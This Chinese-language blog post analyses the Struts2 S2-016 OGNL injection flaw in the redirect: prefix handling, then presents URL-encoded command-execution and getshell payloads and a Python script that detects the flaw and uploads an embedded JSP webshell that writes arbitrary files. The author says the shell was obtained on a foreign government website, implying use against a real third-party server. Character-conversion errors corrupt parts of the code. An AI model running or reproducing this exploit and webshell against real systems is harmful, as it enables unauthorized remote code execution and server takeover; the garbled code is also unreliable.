Struts2漏洞之S2-016漏洞分析與exp編寫
來源:程序員人生 發(fā)布時間:2014-12-17 08:45:20 閱讀次數(shù):4832次
1、概述
S2-016是13年7月爆出的,那時候的我還沒觸及Web安全研究。這次遲到的分析也算是對過去的補(bǔ)充。這個漏洞影響了Struts 2.3.15.1之前的所有版本。問題主要出在對特殊URL處理中,redirect與redirectAction后面跟上Ognl表達(dá)式會被服務(wù)器履行。
2、漏洞分析
分析開源框架的漏洞還是從其源碼入手,問題出在了DefaultActiionMapper上,這個類主要是用來處理1些靈活的URL調(diào)用,比如處理Action中動態(tài)調(diào)用方法的情勢,如:
http://www.foo.com/bar/hello.action?user!add
foo!bar這類情勢是動態(tài)的調(diào)用action中的方法,其中foo是action,bar是方法名,但是調(diào)用的條件是在struts.xml中事前進(jìn)行配置。
固然這只是1種,這個類還有個重要的作用就是處理redirect、redirectAction、method、action

method用來動態(tài)指明調(diào)用的方法,如調(diào)用hello中的execute方法,則可以傳入url為:http;//www.foo.com/bar/hello.action?method:execute。
action用來指定其他的action,有了這個前綴,URL中的默許Action的execute方法不會被履行,而是履行其他action中的execute方法。
redirect1旦寫定,一樣不會履行默許action中的execute方法,而是重定向到其他的頁面,內(nèi)部通過ServletRedirectResult完成履行。
redirectAction一樣會屏蔽默許action的方法,而是重定向到其他的Action,一樣依托ServletRedirectResult實(shí)現(xiàn)任務(wù)。
至于為何redirect后面的東西就會當(dāng)作Ognl履行呢? 繼續(xù)往下分析源碼。
傳入以下URL給Struts2框架,并設(shè)置相應(yīng)的斷點(diǎn)。
Payload:
127.0.0.1:8080/struts_hello/hello?redirect:
${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23screen.println(%23d),%23screen.close()}
首先,在DefaultActionMapper中做的第1件事情就是將Action的名稱和命名空間(namespace)給提取出來,接下來調(diào)用了兩個方法,1個是handleSpecialParameters,主要是這個handleSepcialParameters方法中有問題。
首先要提取出redirect:${xxxxxx}作為key,然后調(diào)用execute方法。
繼續(xù)跟進(jìn),發(fā)現(xiàn)是調(diào)用了構(gòu)造方法中的其中1個,這里是根據(jù)辨認(rèn)的redirect前綴決定調(diào)用哪一個put方法。
最最引人注視的就是這個redirect,這個redirect其實(shí)就是1個ServletRedirectResult的對象,前面也說過了,處理redirect前綴履行的就是這個類了,而這里只做了1件事,就是規(guī)定了重定向的方向,也就是邏輯流要跳轉(zhuǎn)到哪里去。這個key.substring(REDIRECT_PREFIX).length()就是redirect:${xxxx}中的xxxx內(nèi)容。
以上就是對URL進(jìn)行1次預(yù)處理,并將運(yùn)行環(huán)境和對象創(chuàng)建出來,接下來就是在StrutsPrepareAndExecution調(diào)用了executeAction方法:

有童鞋可能會問,這個mapping究竟是甚么呢?
其實(shí)這個mapping就能夠看成這次要求的1個參數(shù)表,里面規(guī)定了redierect的location、Action的名稱、namespace等等,繼續(xù)跟進(jìn),就1路跟到了StrutsResultSupport中:

這個方法就是為了解析參數(shù)并用于Ognl表達(dá)式。其中的param參數(shù)是個String類型,其實(shí)就是${xxx}。
進(jìn)入translateVariables,這個進(jìn)程可以清楚看到Struts2的裝潢進(jìn)程,終究來到了TextParseUtil類中:

對參數(shù)進(jìn)行說明,第1個參數(shù)是個字符數(shù)組,主要規(guī)定了"redirect:"與后面的大括號之間的符號,可以是$,也能夠是%。
expression就是${xxxx}。stack就是當(dāng)前的值棧。
這個方法中首先將大括號中的內(nèi)容提取出來:

這些只是將Ognl表達(dá)式進(jìn)行提取,說白了就是進(jìn)行1系列的字符串操作,而履行則是通過下面的語句:

var是提取出來的Ognl表達(dá)式,就是大括號里面的內(nèi)容。接著履行了stack.findValue方法,正是這個方法將Ognl表達(dá)式履行了,其實(shí)就是到了比較底層的OgnlUtil中進(jìn)行語法樹分析并履行,最后返回履行的結(jié)果。這個履行的進(jìn)程就是在OgnlValueStack中實(shí)現(xiàn)的(對樹中的每一個節(jié)點(diǎn)進(jìn)行履行),這里觸及了Ognl語法樹算法,這里不贅述。

分析到這里,相信很多人都會明白了這個Ognl是如何就履行的了,這也是Struts2漏洞的最根本的地方,每一個Struts2漏洞都是圍繞著Ognl表達(dá)式機(jī)制。探測和分析出不同的方法(各種payload的奇怪表示)都是為了終究讓服務(wù)端履行我們的Ognl表達(dá)式代碼。
3、總結(jié)
S2-016的根本緣由就是沒有對幾個前綴的后面進(jìn)行嚴(yán)格的過濾,致使黑客可以傳入符合Ognl表達(dá)式語法規(guī)則的字符串,使得Struts2將其當(dāng)作Ognl表達(dá)式在ValueStack中履行,從而造成了任意命令的履行,getshell啊、列目錄、echo上傳,本質(zhì)上都是履行java代碼。
4、S2-016的exp編寫
分析清楚了漏洞的原理,其實(shí)寫個exp不是太難了。不過這里有個大坑,就是我在調(diào)試exp的時候,發(fā)現(xiàn)這個漏洞不同于以往的s2漏洞。對1些URL中的特殊字符,比如等于號、空格、中括號、雙引號、#符號等,必須要嚴(yán)格進(jìn)行urlencode才行,否則exp會履行失敗,不知道后面是怎樣運(yùn)作的,有興趣的童鞋可以嘗摸索索1下。
在最后,給出我的漏洞監(jiān)測+getshell腳本,代碼以下:
POC:
%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22hacker%22),%23p.close()
GETSHELL:
%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@java.io.File@separator).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29
#coding=utf⑻
import sys
import requests
class StrutsExploit():
def __init__(self):
self.webshell = '''<%@ page language="java" pageEncoding="gbk"%><jsp:directive.page import="java.io.File"/><jsp:directive.page import="java.io.OutputStream"/><jsp:directive.page import="java.io.FileOutputStream"/><html><head><title>system</title><meta http-equiv="keywords" content="system"><meta http-equiv="description" content="system"></head><%int i=0;String method=request.getParameter("act");if(method!=null&&method.equals("up")){String url=request.getParameter("url");String text=request.getParameter("text");File f=new File(url);if(f.exists()){f.delete();}try{OutputStream o=new FileOutputStream(f);o.write(text.getBytes());o.close();}catch(Exception e){i++;%>Failed<%}}if(i==0){%>Success<%}%><body><form action='' method='post'>path of your shell:<input size="100" value="<%=application.getRealPath("/") %>" name="url"><br><textarea rows="20" cols="80" name="text">typing code here</textarea><br><input type="submit" value="up" name="text"/></form></body></html>'''
self.payload = '''redirect:${%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3dfalse%2c%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletRequest%22%5d%2c%23b%3dnew+java.io.FileOutputStream(new+java.lang.StringBuilder(%23a.getRealPath(%22/%22)).append(@java.io.File@separator).append(%22system.jsp%22))%2c%23b.write(%23a.getParameter("t").getBytes())%2c%23b.close%28%29%2c%23p%3d%23context%5b%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%5d.getWriter%28%29%2c%23p.println%28%22DONE%22%29%2c%23p.flush%28%29%2c%23p.close%28%29}'''
self.detect_str = '''redirect:${%23p%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23p.println(%22HACKER%22),%23p.close()}'''
'''獲得shell的URL'''
def getShellPath(self,url):
rawurl = url
count = 0
i = 0
lineIndex = []
url = url.replace('http://','')
for x in url:
if x == '/':
lineIndex.append(i)
count += 1
if count == 2:
break
i += 1
if len(lineIndex) != 2:
proDir = ''
partOne = partOne = rawurl[0:lineIndex[0]+7]
else:
proDir = url[lineIndex[0]:lineIndex[1]]
partOne = rawurl[0:lineIndex[0]+7]
shellpath = "%s%s%s" % (partOne,proDir,"/system.jsp")
return shellpath
'''檢測是不是存在漏洞'''
def detect(self,url):
url = "%s?%s" % (url,self.detect_str)
try:
r = requests.get(url,timeout=10)
page_content = r.content
if page_content.find('HACKER') != ⑴:
return True
else:
return False
except Exception, e:
print '[+]Exploit Failed:',e
return False
'''攻擊 上傳shell到根目錄'''
def getshell(self,url):
target_url = "%s?%s" % (url,self.payload)
data = {'t':self.webshell}
try:
r = requests.post(target_url,data=data,timeout=10)
page_content = r.content
if page_content.find('DONE') != ⑴:
print '[+]Exploit Success,shell location:
%s' % self.getShellPath(url)
else:
print '[+]Exploit Failed'
except Exception, e:
print '[+]Exploit Failed:',e
return
if __name__ == '__main__':
if len(sys.argv) != 2:
print '[+]Usage:python s2-016.py [target_url]'
sys.exit()
url = sys.argv[1]
if not url.startswith('http://'):
print '[+]URL is invalid!'
sys.exit()
print 'Powered By:Exploit
QQ:739858341
[:-)]Target:%s' % url
attacker = StrutsExploit()
if attacker.detect(url):
print '[+]This website is vulnerable!'
else:
print '[+]Sorry,exploit failed!'
sys.exit()
attacker.getshell(url)
測試運(yùn)行結(jié)果:
shell結(jié)果(國外ZF網(wǎng)站):
生活不易,碼農(nóng)辛苦
如果您覺得本網(wǎng)站對您的學(xué)習(xí)有所幫助,可以手機(jī)掃描二維碼進(jìn)行捐贈